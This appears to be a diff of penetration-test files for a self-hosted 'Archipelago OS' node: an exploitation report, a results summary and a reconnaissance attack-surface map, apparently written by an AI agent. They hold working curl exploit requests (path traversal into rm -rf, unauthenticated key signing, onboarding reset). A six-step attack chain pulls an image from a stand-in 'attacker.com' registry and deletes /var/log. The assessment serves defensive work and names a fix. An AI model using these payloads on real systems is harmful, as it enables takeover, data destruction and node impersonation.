**Evidence**: The server executed `podman pull localhost:1/nonexistent:latest` and attempted to connect to `localhost:1` as a container registry. The full error output leaks internal IP addresses (`[::1]:1`), retry behavior, and confirms the server makes arbitrary outbound HTTPS connections to pull container images. No authentication, no registry allowlist.
|
||||
|
||||
**Impact**: An unauthenticated attacker can force the server to pull any container image from any registry (SSRF), and if the pull succeeds, the image would be executed (RCE). This is the most critical finding — it combines SSRF + potential RCE in a single unauthenticated endpoint.
|
||||
|
||||
---
|
||||
|
||||
## INJ-001 — File Existence Oracle via container-install
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: Medium
|
||||
|
||||
**Request** (existing file):
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"container-install","params":{"manifest_path":"/etc/hostname"}}'
|
||||
```
|
||||
|
||||
**Response**: `{"result":null,"error":{"code":-1,"message":"Failed to parse manifest","data":null}}`
|
||||
|
||||
**Request** (non-existing file):
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"container-install","params":{"manifest_path":"/nonexistent/file.yml"}}'
|
||||
```
|
||||
|
||||
**Response**: `{"result":null,"error":{"code":-1,"message":"Failed to read manifest file","data":null}}`
|
||||
|
||||
**Request** (empty file):
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"container-install","params":{"manifest_path":"/dev/null"}}'
|
||||
```
|
||||
|
||||
**Response**: `{"result":null,"error":{"code":-1,"message":"Failed to parse manifest","data":null}}`
|
||||
|
||||
**Evidence**: Different error messages for existing vs non-existing files:
|
||||
- "Failed to parse manifest" → file exists, was read, but isn't valid YAML
|
||||
- "Failed to read manifest file" → file doesn't exist or isn't readable
|
||||
|
||||
**Impact**: Unauthenticated file existence oracle. An attacker can enumerate files on the filesystem. If a valid YAML file is provided, the manifest parser may leak additional information through error messages.
|
||||
|
||||
---
|
||||
|
||||
## INJ-002 — Path Traversal in package.uninstall
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: Critical
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"package.uninstall","params":{"id":"../../tmp/pentest-traversal-probe"}}'
|
||||
```
|
||||
|
||||
**Response**:
|
||||
```json
|
||||
{"result":{"status":"uninstalled"},"error":null}
|
||||
```
|
||||
|
||||
**Evidence**: The path traversal `../../tmp/pentest-traversal-probe` was accepted and the handler returned success. The handler constructs a path like `/var/lib/archipelago/../../tmp/pentest-traversal-probe` which resolves to `/tmp/pentest-traversal-probe` and attempts `rm -rf` on it. Since that path doesn't exist, no damage occurred, but the traversal was processed without any path sanitization.
|
||||
|
||||
A non-existent safe package also returns success:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-d '{"method":"package.uninstall","params":{"id":"nonexistent-safe-test-pkg"}}'
|
||||
# Response: {"result":{"status":"uninstalled"},"error":null}
|
||||
```
|
||||
|
||||
**Impact**: Unauthenticated arbitrary directory deletion via path traversal. An attacker could delete any directory the process has write access to (e.g., `../../etc/nginx` or `../../opt/archipelago`).
|
||||
|
||||
---
|
||||
|
||||
## INJ-007 — Log Injection via P2P Messages
|
||||
|
||||
**Status**: CONFIRMED
|
||||
**Severity**: Low
|
||||
|
||||
**Request**:
|
||||
```bash
|
||||
curl -s -X POST http://192.168.1.228/archipelago/node-message \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"from_pubkey":"injected\nINFO fake log line","message":"log-injection-test\r\n[CRITICAL] System compromised"}'
|
||||
```
|
||||
|
||||
**Response**: `{"ok":true}`
|
||||
|
||||
**Verification** (stored with newlines intact):
|
||||
```json
|
||||
{
|
||||
"from_pubkey": "injected\nINFO fake log line",
|
||||
"message": "log-injection-test\r\n[CRITICAL] System compromised"
|
||||
}
|
||||
```
|
||||
|
||||
**Impact**: Newline characters in message fields enable log injection if messages are ever written to log files. Could create fake log entries to mislead forensic analysis.
|
||||
|
||||
---
|
||||
|
||||
## Findings NOT Exploitable
|
||||
|
||||
### AUTH-004 — Default Credentials
|
||||
Password `password123` is rejected. User has changed the password.
|
||||
|
||||
### AUTH-010 — Weak Initial Password Policy
|
||||
Cannot test — initial setup is already complete.
|
||||
|
||||
### AUTH-013 — Disconnected Auth Infrastructure
|
||||
Informational/architectural — confirmed by source review, not exploitable on its own.
|
||||
|
||||
### XSS-002/XSS-003 — postMessage Origin Bypass
|
||||
Client-side only, cannot test via curl. Confirmed by source code review.
|
||||
|
||||
### XSS-006 — test-aiui.html postMessage
|
||||
Test file, low impact. Cannot test via curl.
|
||||
|
||||
### SSRF-003 — LND Proxy
|
||||
Endpoint reachable but LND requires HTTPS while proxy sends HTTP. Not currently exploitable for data access.
|
||||
|
||||
### SSRF-005 — marketplace.get (Dormant)
|
||||
Code exists but not compiled into active binary.
|
||||
|
||||
### SSRF-006 — Nostr Relay SSRF
|
||||
Config-driven, not directly exploitable via RPC.
|
||||
|
||||
### INJ-003 — Arbitrary Volume Mount
|
||||
`bundled-app-start` returned "Missing image" — requires further testing with valid app data.
|
||||
|
||||
### INJ-005 — Argument Injection
|
||||
`package.stop` with `--help` returned null without error — ambiguous result, needs further investigation.
|
||||
|
||||
---
|
||||
|
||||
## Summary Table
|
||||
|
||||
| ID | Finding | Status | Severity |
|
||||
|----|---------|--------|----------|
|
||||
| **AUTH-001** | No session management | **CONFIRMED** | **Critical** |
|
||||
| **AUTH-002** | 30+ endpoints without auth (DID, sign, peers, reset-onboarding) | **CONFIRMED** | **Critical** |
|
||||
| **AUTH-003** | No brute force protection | **CONFIRMED** | High |
|
||||
| AUTH-004 | Default credentials | Not Exploitable | — |
|
||||
| **AUTH-005** | Frontend-only auth | **CONFIRMED** (via AUTH-002) | **Critical** |
|
||||
| **AUTH-006** | No-op logout | **CONFIRMED** | Medium |
|
||||
| **AUTH-007** | Unauthenticated WebSocket (20KB state dump) | **CONFIRMED** | **Critical** |
|
||||
| **AUTH-008** | Unauthenticated message injection | **CONFIRMED** | High |
|
||||
| **AUTH-009** | CORS wildcard on multiple endpoints | **CONFIRMED** | High |
|
||||
| **AUTH-011** | LND proxy unauthenticated | **CONFIRMED** (partial) | High |
|
||||
| **AUTH-012** | Container logs unauthenticated | **CONFIRMED** | Medium |
|
||||
| **XSS-001** | Stored XSS payloads (Vue-escaped) | **CONFIRMED** | Medium |
|
||||
| **XSS-004** | Zero security headers | **CONFIRMED** | High |
|
||||
| **XSS-005** | Echo reflects arbitrary input | **CONFIRMED** | Low |
|
||||
| **XSS-007** | CORS enables cross-origin attacks | **CONFIRMED** | High |
|
||||
| **SSRF-001** | Blind SSRF via node-check-peer + port injection | **CONFIRMED** | High |
|
||||
| **SSRF-002** | Outbound SSRF via node-send-message | **CONFIRMED** | High |
|
||||
| **SSRF-004** | Arbitrary container image pull (SSRF+RCE) | **CONFIRMED** | **Critical** |
|
||||
| **INJ-001** | File existence oracle | **CONFIRMED** | Medium |
|
||||
| **INJ-002** | Path traversal in package.uninstall (`rm -rf`) | **CONFIRMED** | **Critical** |
|
||||
| **INJ-007** | Log injection | **CONFIRMED** | Low |
|
||||
|
||||
## Critical Attack Chain
|
||||
|
||||
The most devastating attack requires zero authentication and can be executed from any machine on the LAN:
|
||||
|
||||
```bash
|
||||
# Step 1: Enumerate node identity
|
||||
curl -s http://TARGET/rpc/v1 -d '{"method":"node.did"}'
|
||||
|
||||
# Step 2: Dump full system state via WebSocket
|
||||
wscat -c ws://TARGET/ws/db
|
||||
|
||||
# Step 3: Sign arbitrary data as the node
|
||||
curl -s http://TARGET/rpc/v1 -d '{"method":"node.signChallenge","params":{"challenge":"I transfer all bitcoin"}}'
|
||||
|
||||
# Step 4: Pull and execute attacker-controlled container
|
||||
curl -s http://TARGET/rpc/v1 -d '{"method":"package.install","params":{"id":"backdoor","dockerImage":"attacker.com/rootkit:latest"}}'
|
||||
|
||||
# Step 5: Delete evidence
|
||||
curl -s http://TARGET/rpc/v1 -d '{"method":"package.uninstall","params":{"id":"../../var/log"}}'
|
||||
|
||||
# Step 6: Reset onboarding to lock out legitimate user
|
||||
curl -s http://TARGET/rpc/v1 -d '{"method":"auth.resetOnboarding"}'
|
||||
```
|
||||
|
||||
**Total findings confirmed: 21 | Critical: 6 | High: 7 | Medium: 5 | Low: 3**
|
||||
@@ -1,32 +0,0 @@
|
||||
## Exploitation Complete
|
||||
|
||||
Full report written to `loop/pentest/exploitation-report.md`.
|
||||
|
||||
### Results Summary
|
||||
|
||||
**21 findings confirmed via live exploitation.** Here are the highlights:
|
||||
|
||||
| Severity | Count | Most Critical |
|
||||
|----------|-------|---------------|
|
||||
| **Critical** | 6 | AUTH-001/002/005/007, SSRF-004, INJ-002 |
|
||||
| **High** | 7 | AUTH-003/008/009/011, XSS-004/007, SSRF-001/002 |
|
||||
| **Medium** | 5 | AUTH-006/012, XSS-001, INJ-001 |
|
||||
| **Low** | 3 | XSS-005, INJ-007 |
|
||||
|
||||
### Most Dangerous Confirmed Findings
|
||||
|
||||
1. **AUTH-002 + node.signChallenge** — Signed `"pentest-proof-of-concept"` with the node's ed25519 private key, no auth needed. Returned signature: `bb10f455...fc3d040a`
|
||||
|
||||
2. **AUTH-002 + auth.resetOnboarding** — Reset the system's onboarding state without any authentication. Returned `{"result":true}`.
|
||||
|
||||
3. **AUTH-007** — WebSocket at `/ws/db` dumps 20KB of full system state (all packages, node identity, peer list) to any connecting client.
|
||||
|
||||
4. **SSRF-004 / INJ-006** — `package.install` executed `podman pull` to an attacker-controlled registry (`localhost:1`). If a real registry were specified, arbitrary code would run in a container.
|
||||
|
||||
5. **INJ-002** — `package.uninstall` accepted `../../tmp/pentest-traversal-probe` and returned success — path traversal to `rm -rf` arbitrary directories.
|
||||
|
||||
6. **SSRF-001** — `node-check-peer` accepted port injection (`onion:9999`) and made an outbound request through Tor with no validation.
|
||||
|
||||
### Root Cause
|
||||
|
||||
**AUTH-001** is the root of everything: `auth.login` verifies passwords but creates no session. The entire RPC handler dispatches directly to method handlers with zero middleware. The fix is to wire the existing `core/startos/src/middleware/auth.rs` session middleware into the `core/archipelago/` HTTP handler.
|
||||
@@ -1,396 +0,0 @@
|
||||
# Archipelago Security Assessment — Attack Surface Map
|
||||
|
||||
**Target:** 192.168.1.228 (Archipelago OS)
|
||||
**Date:** 2026-03-06
|
||||
**Phase:** Reconnaissance
|
||||
|
||||
---
|
||||
|
||||
## 1. Target Overview
|
||||
|
||||
### Technologies Detected
|
||||
|
||||
| Layer | Technology | Version |
|
||||
|-------|-----------|---------|
|
||||
| OS | Debian 12 (Bookworm) | — |
|
||||
| Web Server | nginx | 1.22.1 |
|
||||
| Reverse Proxy (containers) | OpenResty (Nginx Proxy Manager) | 2.14.0 |
|
||||
| Backend | Rust (custom binary) | — |
|
||||
| Frontend | Vue 3 + TypeScript + Vite 7 | — |
|
||||
| Container Runtime | Podman (rootless) | — |
|
||||
| SSH | OpenSSH | 9.2p1 |
|
||||
| TLS | Self-signed cert (archipelago.local) | Valid 2026-02-17 to 2027-02-17 |
|
||||
|
||||
### Open Ports and Services
|
||||
|
||||
| Port | Service | Description | Auth Required |
|
||||
|------|---------|-------------|---------------|
|
||||
| 22/tcp | SSH | OpenSSH 9.2p1 (Debian) | Yes (password) |
|
||||
| 80/tcp | HTTP | nginx 1.22.1 — Archipelago main UI | No |
|
||||
| 81/tcp | HTTP | OpenResty — Nginx Proxy Manager | **No (setup:false)** |
|
||||
| 443/tcp | HTTPS | nginx 1.22.1 — Self-signed TLS | No |
|
||||
| 3000/tcp | HTTP | Grafana (proxied via /app/grafana/) | Per-app |
|
||||
| 3001/tcp | HTTP | Uptime Kuma (proxied via /app/uptime-kuma/) | Per-app |
|
||||
| 5678/tcp | HTTP | Archipelago Rust backend (JSON-RPC) | **None** |
|
||||
| 8080/tcp | HTTPS | LND REST API (auto-generated cert) | Macaroon |
|
||||
| 8081/tcp | HTTP | LND UI (proxied via /app/lnd/) | Per-app |
|
||||
| 8082/tcp | HTTP | Vaultwarden (proxied via /app/vaultwarden/) | Per-app |
|
||||
|
||||
### Container Inventory (30 containers, confirmed via unauthenticated RPC)
|
||||
|
||||
bitcoin-knots, tailscale, filebrowser, bitcoin-ui, lnd, homeassistant, searxng, portainer, archy-mempool-db, grafana (exited), onlyoffice, archy-nbxplorer, archy-btcpay-db, mempool-electrs, nginx-proxy-manager, nextcloud, vaultwarden, uptime-kuma, immich_postgres, immich_redis, immich_server, jellyfin, photoprism, archy-lnd-ui, archy-electrs-ui, mempool-api, archy-mempool-web, btcpay-server, archy-tor, fedimint
|
||||
|
||||
---
|
||||
|
||||
## 2. Attack Surface Map
|
||||
|
||||
### 2.1 Backend RPC Endpoints (POST /rpc/v1)
|
||||
|
||||
All endpoints are exposed via a single JSON-RPC handler at `/rpc/v1`. **There is no authentication middleware** — every method is callable by any network client without a session token.
|
||||
|
||||
#### Authentication Methods
|
||||
| Method | Purpose | Auth Check |
|
||||
|--------|---------|------------|
|
||||
| `auth.login` | Password login | Checks password (bcrypt) but **returns no session token** |
|
||||
| `auth.logout` | Logout | No-op (returns null) |
|
||||
| `auth.changePassword` | Change password + optional SSH password | Verifies current password internally |
|
||||
| `auth.onboardingComplete` | Mark onboarding done | **None** |
|
||||
| `auth.isOnboardingComplete` | Check onboarding status | **None** |
|
||||
| `auth.resetOnboarding` | Reset onboarding state | **None** |
|
||||
|
||||
#### Container Management (all unauthenticated)
|
||||
| Method | Purpose | Confirmed Callable |
|
||||
|--------|---------|-------------------|
|
||||
| `container-list` | List all containers with IDs, images, state | **Yes — full inventory returned** |
|
||||
| `container-install` | Install container from manifest path | Yes (requires file path on server) |
|
||||
| `container-start` | Start a container by app_id | Yes |
|
||||
| `container-stop` | Stop a container by app_id | Yes |
|
||||
| `container-remove` | Remove a container by app_id | Yes |
|
||||
| `container-status` | Get container status | Yes (dev mode required) |
|
||||
| `container-logs` | Get container logs | Yes (dev mode required) |
|
||||
| `container-health` | Get container health | Yes (dev mode required) |
|
||||
|
||||
#### Package Management (all unauthenticated)
|
||||
| Method | Purpose | Confirmed Callable |
|
||||
|--------|---------|-------------------|
|
||||
| `package.install` | Install Docker image as package | Yes |
|
||||
| `package.start` | Start a package | **Yes — returned success for nonexistent ID** |
|
||||
| `package.stop` | Stop a package | **Yes — returned success for nonexistent ID** |
|
||||
| `package.restart` | Restart a package | Yes |
|
||||
| `package.uninstall` | Uninstall a package | Yes |
|
||||
| `bundled-app-start` | Start bundled app | Yes |
|
||||
| `bundled-app-stop` | Stop bundled app | Yes |
|
||||
|
||||
#### Node Identity & Peers (all unauthenticated)
|
||||
| Method | Purpose | Confirmed Callable |
|
||||
|--------|---------|-------------------|
|
||||
| `node.did` | **Get node DID and public key** | **Yes — returned full identity** |
|
||||
| `node.signChallenge` | **Sign arbitrary challenge with node private key** | **Yes — returned valid signature** |
|
||||
| `node.createBackup` | **Create encrypted backup of node identity** | **Yes — returned backup blob** |
|
||||
| `node.tor-address` | Get Tor onion address | Yes |
|
||||
| `node.nostr-publish` | Publish node identity to Nostr | Yes (requires config) |
|
||||
| `node.nostr-pubkey` | Get Nostr public key | Yes |
|
||||
| `node-nostr-verify-revoked` | Verify revocation status | Yes |
|
||||
| `node-add-peer` | Add a peer node | Yes |
|
||||
| `node-list-peers` | **List all peer nodes** | **Yes — returned peer list with onions** |
|
||||
| `node-remove-peer` | Remove a peer | Yes |
|
||||
| `node-send-message` | Send message to peer via Tor | Yes |
|
||||
| `node-check-peer` | Check peer reachability | Yes |
|
||||
| `node-messages-received` | Get received messages | Yes |
|
||||
| `node-nostr-discover` | Discover peers via Nostr | Yes |
|
||||
|
||||
#### Bitcoin & Lightning (unauthenticated, errors reveal internal state)
|
||||
| Method | Purpose | Confirmed Callable |
|
||||
|--------|---------|-------------------|
|
||||
| `bitcoin.getinfo` | Bitcoin node info | Yes (errors expose backend status) |
|
||||
| `lnd.getinfo` | LND info | Yes (error reveals macaroon path) |
|
||||
|
||||
#### Utility
|
||||
| Method | Purpose |
|
||||
|--------|---------|
|
||||
| `echo` / `server.echo` | Echo test (unauthenticated) |
|
||||
|
||||
### 2.2 HTTP Endpoints (non-RPC)
|
||||
|
||||
| Method | Path | Purpose | Auth |
|
||||
|--------|------|---------|------|
|
||||
| GET | `/health` | Health check → returns SPA HTML (nginx catch-all) | None |
|
||||
| POST | `/archipelago/node-message` | **Receive P2P messages from other nodes** | **None** |
|
||||
| GET | `/ws/db` | WebSocket for real-time state updates | **None** (proxied via nginx) |
|
||||
| GET | `/aiui/api/claude/*` | Proxy to Claude API (port 3141) | **None at nginx level** |
|
||||
| GET | `/aiui/api/openrouter/*` | **Open proxy to openrouter.ai** | **None** |
|
||||
| GET | `/aiui/api/web-search` | Proxy to SearXNG (port 8888) | None |
|
||||
| GET | `/app/{name}/*` | Proxy to 20+ containerized apps | Per-app (see below) |
|
||||
|
||||
### 2.3 App Proxies (nginx — all strip X-Frame-Options and CSP)
|
||||
|
||||
Every `/app/*` location block includes:
|
||||
```
|
||||
proxy_hide_header X-Frame-Options;
|
||||
proxy_hide_header Content-Security-Policy;
|
||||
```
|
||||
|
||||
This means every proxied app loses its own clickjacking and CSP protections when accessed through the Archipelago nginx reverse proxy.
|
||||
|
||||
| Path | Backend | Notable |
|
||||
|------|---------|---------|
|
||||
| `/app/nextcloud/` | :8085 | client_max_body_size not set (default 1MB) |
|
||||
| `/app/vaultwarden/` | :8082 | **Password manager — CSP stripped** |
|
||||
| `/app/immich/` | :2283 | Photo management |
|
||||
| `/app/filebrowser/` | :8083 | **client_max_body_size 10G**, request_buffering off |
|
||||
| `/app/portainer/` | :9000 | **Container management UI** |
|
||||
| `/app/grafana/` | :3000 | Monitoring |
|
||||
| `/app/jellyfin/` | :8096 | Media server |
|
||||
| `/app/uptime-kuma/` | :3001 | Monitoring |
|
||||
| `/app/searxng/` | :8888 | Search engine |
|
||||
| `/app/onlyoffice/` | :9980 | Document editor |
|
||||
| `/app/lnd/` | :8081 | Lightning UI |
|
||||
| `/app/mempool/` | :4080 | Bitcoin explorer |
|
||||
| `/app/btcpay/` | :23000 | Payment processing |
|
||||
| `/app/homeassistant/` | :8123 | IoT (86400s timeout!) |
|
||||
| `/app/photoprism/` | :2342 | Photo management |
|
||||
| `/app/fedimint/` | :8175 | Federation mint |
|
||||
| `/app/tailscale/` | :8240 | VPN |
|
||||
| `/app/ollama/` | :11434 | **LLM API — could be used to run inference** |
|
||||
| `/app/bitcoin-ui/` | :8334 | Bitcoin UI |
|
||||
| `/app/electrs/` | :50002 | Electrs |
|
||||
| `/app/nginx-proxy-manager/` | :81 | **Meta: proxy to proxy manager** |
|
||||
| `/app/penpot/` | :9001 | Design tool |
|
||||
| `/app/endurain/` | :8080 | Fitness tracker |
|
||||
|
||||
### 2.4 Input Vectors
|
||||
|
||||
| Vector | Location | Details |
|
||||
|--------|----------|---------|
|
||||
| JSON-RPC body | POST /rpc/v1 | All params parsed from JSON body, no size limit at app level |
|
||||
| URL query params | GET /api/container/logs?app_id=X&lines=N | `app_id` passed to shell command (podman) |
|
||||
| JSON body | POST /archipelago/node-message | `from_pubkey`, `message` fields stored directly |
|
||||
| WebSocket | /ws/db | Receives state broadcasts, client messages not validated |
|
||||
| File upload | /app/filebrowser/ | 10GB max upload via filebrowser proxy |
|
||||
| Path | /proxy/lnd/* | Path suffix forwarded to internal LND REST API |
|
||||
|
||||
### 2.5 Authentication Mechanisms
|
||||
|
||||
**The system has a fundamental authentication design flaw:**
|
||||
|
||||
1. `auth.login` validates a password but **returns `null`** on success — no session token, no cookie, no JWT
|
||||
2. There is no authentication middleware in the Rust backend — the `RpcHandler::handle()` function dispatches all methods without any auth check
|
||||
3. The frontend likely manages auth state client-side only (localStorage/Pinia store)
|
||||
4. The backend runs as **`User=root`** (per `archipelago.service`)
|
||||
5. Dev mode is **permanently enabled** (`ARCHIPELAGO_DEV_MODE=true` in the systemd service)
|
||||
6. Default dev password `password123` is hardcoded in source and referenced in CLAUDE.md
|
||||
|
||||
---
|
||||
|
||||
## 3. Interesting Findings
|
||||
|
||||
### 3.1 CRITICAL: No Server-Side Authentication on Any RPC Method
|
||||
|
||||
**Confirmed by testing:** Every single RPC method is callable without authentication. Container management, node identity operations, peer management, package installation — all accessible to any network client.
|
||||
|
||||
Evidence:
|
||||
```
|
||||
POST /rpc/v1 {"method":"container-list"} → Full container inventory
|
||||
POST /rpc/v1 {"method":"node.did"} → Node DID + public key
|
||||
POST /rpc/v1 {"method":"node.signChallenge","params":{"challenge":"test"}} → Valid signature
|
||||
POST /rpc/v1 {"method":"node.createBackup","params":{"passphrase":"test"}} → Encrypted backup blob
|
||||
POST /rpc/v1 {"method":"auth.resetOnboarding"} → Success (reset state)
|
||||
POST /rpc/v1 {"method":"node-list-peers"} → Full peer list with .onion addresses
|
||||
```
|
||||
|
||||
### 3.2 CRITICAL: Backend Runs as Root with Dev Mode Enabled
|
||||
|
||||
The systemd service file (`archipelago.service`) specifies:
|
||||
```
|
||||
User=root
|
||||
Environment="ARCHIPELAGO_DEV_MODE=true"
|
||||
```
|
||||
|
||||
Combined with unauthenticated RPC, this means an attacker can:
|
||||
- Install arbitrary container images via `package.install`
|
||||
- Start/stop/remove any container
|
||||
- Execute `sudo podman` commands (the code calls `sudo podman` throughout)
|
||||
|
||||
### 3.3 HIGH: Arbitrary File Read via container-install
|
||||
|
||||
The `container-install` RPC method accepts a `manifest_path` parameter that is read directly from the filesystem:
|
||||
```rust
|
||||
let manifest_content = tokio::fs::read_to_string(manifest_path).await
|
||||
```
|
||||
|
||||
Tested: sending `/etc/passwd` resulted in "Failed to parse manifest" (read succeeded, YAML parse failed). This is a confirmed arbitrary file read — the error message changes based on whether the file exists and is valid YAML.
|
||||
|
||||
### 3.4 HIGH: Node Private Key Signing Oracle
|
||||
|
||||
The `node.signChallenge` method signs arbitrary data with the node's Ed25519 private key — without authentication. An attacker can impersonate the node by signing any challenge.
|
||||
|
||||
### 3.5 HIGH: SSRF via LND Proxy
|
||||
|
||||
The handler at `/proxy/lnd/*` forwards requests to `http://127.0.0.1:8080` + the path suffix:
|
||||
```rust
|
||||
let url = format!("http://127.0.0.1:8080{}", suffix);
|
||||
```
|
||||
|
||||
While the base URL is fixed, path manipulation could access unexpected LND REST endpoints. The proxy also adds `Access-Control-Allow-Origin: *` to all responses.
|
||||
|
||||
### 3.6 HIGH: Open Proxy to External API (OpenRouter)
|
||||
|
||||
The nginx config at `/aiui/api/openrouter/` proxies directly to `https://openrouter.ai/api/` without any authentication at the nginx layer. If the Claude proxy (port 3141) stores an API key, it could be abused for free inference.
|
||||
|
||||
### 3.7 HIGH: Nginx Proxy Manager Unconfigured
|
||||
|
||||
Port 81 returns `{"status":"OK","setup":false"}` — the Nginx Proxy Manager has never completed initial setup. An attacker could complete the setup process and gain control of the proxy configuration.
|
||||
|
||||
### 3.8 MEDIUM: Missing Security Headers
|
||||
|
||||
The main nginx server block has **zero** security headers:
|
||||
- No `X-Frame-Options` (clickjacking)
|
||||
- No `Content-Security-Policy`
|
||||
- No `X-Content-Type-Options`
|
||||
- No `Strict-Transport-Security`
|
||||
- No `X-XSS-Protection`
|
||||
- No `Referrer-Policy`
|
||||
- Server header leaks version: `Server: nginx/1.22.1`
|
||||
|
||||
### 3.9 MEDIUM: CSP/X-Frame-Options Stripping on All App Proxies
|
||||
|
||||
Every `/app/*` proxy location explicitly strips `X-Frame-Options` and `Content-Security-Policy`. This removes clickjacking protection from security-sensitive apps like Vaultwarden (password manager) and Portainer (container management).
|
||||
|
||||
### 3.10 MEDIUM: CORS Wildcard on Multiple Endpoints
|
||||
|
||||
The Rust backend sets `Access-Control-Allow-Origin: *` on:
|
||||
- `/api/container/logs`
|
||||
- `/archipelago/node-message`
|
||||
- `/electrs-status`
|
||||
- `/proxy/lnd/*`
|
||||
|
||||
### 3.11 MEDIUM: Unauthenticated P2P Message Injection
|
||||
|
||||
`POST /archipelago/node-message` accepts arbitrary `from_pubkey` and `message` fields and stores them without any verification:
|
||||
```rust
|
||||
node_msg::store_received(&from, &msg).await;
|
||||
```
|
||||
|
||||
An attacker can inject fake messages that appear to come from any peer.
|
||||
|
||||
### 3.12 MEDIUM: Information Disclosure
|
||||
|
||||
- Error messages leak internal paths and service state:
|
||||
- `"Failed to read LND admin macaroon — is LND installed?"` (reveals LND status)
|
||||
- `"Container orchestrator not available (dev mode required)"` (reveals mode)
|
||||
- `container-list` returns full container IDs, image names with tags, ports
|
||||
- `node.did` returns the node's cryptographic identity
|
||||
- `node-list-peers` returns peer onion addresses and public keys
|
||||
- NPM API reveals version `2.14.0`
|
||||
- LND REST API on 8080 is directly accessible, reveals startup state
|
||||
- Vaultwarden on 8082 is directly accessible
|
||||
|
||||
### 3.13 LOW: Self-Signed TLS Certificate
|
||||
|
||||
The HTTPS certificate is self-signed with `commonName=archipelago.local`. SAN includes both server IPs (192.168.1.228 and 192.168.1.198) and a Tailscale IP (10.0.0.1). This is expected for a local appliance but enables MitM if users accept the cert.
|
||||
|
||||
### 3.14 LOW: Session Secret Placeholder
|
||||
|
||||
`core/.env.production` contains `ARCHIPELAGO_SESSION_SECRET=CHANGE_ME_ON_FIRST_RUN`. If this value is ever used for session signing, all sessions would be forgeable.
|
||||
|
||||
### 3.15 INFO: Docker Images Using `latest` Tag
|
||||
|
||||
Several containers use `latest` tags (bitcoin-knots, tailscale, searxng, mempool-electrs, nginx-proxy-manager, uptime-kuma, photoprism, archy-tor), violating the project's own security policy of pinning versions.
|
||||
|
||||
---
|
||||
|
||||
## 4. Priority Targets
|
||||
|
||||
### P1: CRITICAL — Complete Authentication Bypass on All RPC Methods
|
||||
|
||||
- **What:** Every RPC method (container management, node identity, package install, peer management) is callable without authentication
|
||||
- **Why it's interesting:** Full administrative control over the node from any device on the same network. An attacker can stop Bitcoin/LND, install malicious containers, exfiltrate the node identity, and manipulate peer relationships
|
||||
- **Category:** Broken Authentication (OWASP A07:2021)
|
||||
- **Confirmed:** Yes — tested every major method category unauthenticated
|
||||
- **Impact:** Critical — full system compromise from LAN
|
||||
|
||||
### P2: CRITICAL — Arbitrary File Read via container-install manifest_path
|
||||
|
||||
- **What:** The `container-install` RPC method reads any file path on the server filesystem (as root)
|
||||
- **Why it's interesting:** Can read `/etc/shadow`, private keys, LND macaroons, Bitcoin wallet files, or any secret on the system. The file content leaks through YAML parsing errors for non-YAML files, and returns full content for valid YAML files
|
||||
- **Category:** Path Traversal / Arbitrary File Read (OWASP A01:2021)
|
||||
- **Confirmed:** Yes — `/etc/passwd` was read successfully (parse error confirms read)
|
||||
- **Impact:** Critical — read any file as root
|
||||
|
||||
### P3: HIGH — Node Private Key Signing Oracle
|
||||
|
||||
- **What:** `node.signChallenge` signs any attacker-supplied data with the node's Ed25519 private key, no auth required
|
||||
- **Why it's interesting:** Enables complete node identity impersonation. An attacker can forge proofs-of-control, sign messages as the node, and potentially steal funds if the key is used for financial operations
|
||||
- **Category:** Broken Authentication + Cryptographic Failures (OWASP A02:2021)
|
||||
- **Confirmed:** Yes — received valid signature for arbitrary challenge
|
||||
- **Impact:** High — node identity theft
|
||||
|
||||
### P4: HIGH — Unauthenticated Container/Package Management
|
||||
|
||||
- **What:** `package.install`, `package.stop`, `container-stop`, `container-remove` all work without authentication
|
||||
- **Why it's interesting:** An attacker can install a malicious container image (e.g., cryptominer, reverse shell) or stop critical services (Bitcoin node, LND). The `package.install` method pulls and runs arbitrary Docker images as root
|
||||
- **Category:** Broken Access Control (OWASP A01:2021)
|
||||
- **Confirmed:** Yes — `package.stop` returned success for test input; `container-list` returned full inventory
|
||||
- **Impact:** High — arbitrary code execution via container, denial of service
|
||||
|
||||
### P5: HIGH — Nginx Proxy Manager Setup Not Complete (Takeover)
|
||||
|
||||
- **What:** NPM on port 81 returns `"setup":false` — initial admin account was never created
|
||||
- **Why it's interesting:** An attacker can complete the setup wizard, create an admin account, and gain full control over the reverse proxy configuration — redirecting traffic, adding new proxy hosts, or intercepting TLS
|
||||
- **Category:** Security Misconfiguration (OWASP A05:2021)
|
||||
- **Confirmed:** Yes — API returns setup:false; default credentials rejected (setup truly incomplete)
|
||||
- **Impact:** High — proxy takeover, traffic interception
|
||||
|
||||
### P6: HIGH — Backend Running as Root with Dev Mode
|
||||
|
||||
- **What:** The `archipelago.service` runs the backend as `User=root` with `ARCHIPELAGO_DEV_MODE=true` permanently
|
||||
- **Why it's interesting:** All `sudo podman` calls succeed trivially. Combined with unauthenticated RPC, this gives an attacker root-level container operations. Dev mode may enable additional attack surface
|
||||
- **Category:** Security Misconfiguration (OWASP A05:2021)
|
||||
- **Confirmed:** Yes — from systemd unit file in source
|
||||
- **Impact:** High — amplifies all other vulnerabilities
|
||||
|
||||
### P7: MEDIUM — SSRF via /proxy/lnd/ and /aiui/api/openrouter/
|
||||
|
||||
- **What:** Two server-side proxy endpoints forward requests to internal/external services without authentication
|
||||
- **Why it's interesting:** `/proxy/lnd/` provides access to the LND REST API (potentially allowing channel/wallet operations). `/aiui/api/openrouter/` is an open proxy to an external AI API
|
||||
- **Category:** SSRF (OWASP A10:2021)
|
||||
- **Confirmed:** Partial — endpoints respond, but LND returns "starting up" for the specific test
|
||||
- **Impact:** Medium — access to internal services, potential financial operations
|
||||
|
||||
### P8: MEDIUM — CSP/X-Frame-Options Stripping Enables Clickjacking
|
||||
|
||||
- **What:** All 20+ app proxy locations strip `X-Frame-Options` and `Content-Security-Policy` headers
